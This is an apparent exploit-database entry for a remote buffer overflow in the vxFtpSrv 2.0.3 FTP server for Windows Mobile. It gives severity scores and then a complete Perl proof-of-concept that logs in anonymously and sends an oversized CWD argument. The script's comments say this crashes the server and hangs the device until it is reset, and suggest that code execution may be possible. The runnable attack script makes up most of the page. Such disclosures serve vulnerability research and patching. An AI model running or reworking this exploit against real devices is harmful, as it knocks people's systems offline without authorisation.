vxFtpSrv 2.0.3 CWD command Remote Buffer Overflow PoC

2008-10-07 / 2008-10-08
Credit: Julien Bedard
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9/10
Impact Subscore: 8.5/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Complete

#!/usr/bin/perl ######################################################## # # vxFtpSrv 2.0.3 CWD command Overflow PoC # by Julien Bedard (www.kosseclab.com) # info@kosseclab.com # # Tested on MS Windows Mobile 6.0 # (maybe other versions are vulnerable) # # vxftpsrv is the most common ftp # server for mobile devices: wm, ppc etc. # it suffer of an overflow when it recieve too long # data string by the CWD command. # # the result will be immediately close server and # the windows mobile device will really hang-up. # so it's required to reset the device to be completely # operational. # # Maybe we can exploit this issue for doing command # execution but i've not test it since i have nothing # to debug the application in real time. # # If you can help for further analysis please email me # at info@kosseclab.com # ######################################################## use Net::FTP; $wftpsrvaddr = "255.255.255.255"; $overflow = "A" x 330; $user = "anonymous"; $pass = "test@something.com"; $port = 21; $ftp = Net::FTP->new("$wftpsrvaddr", Debug => 0) || die "Cannot connect to ftp server: $@"; $ftp->login($user,$pass) || die "Cannot login ", $ftp->message; $ftp->cwd($overflow); $ftp->quit;

References:

http://www.securityfocus.com/bid/31532
http://www.milw0rm.com/exploits/6651


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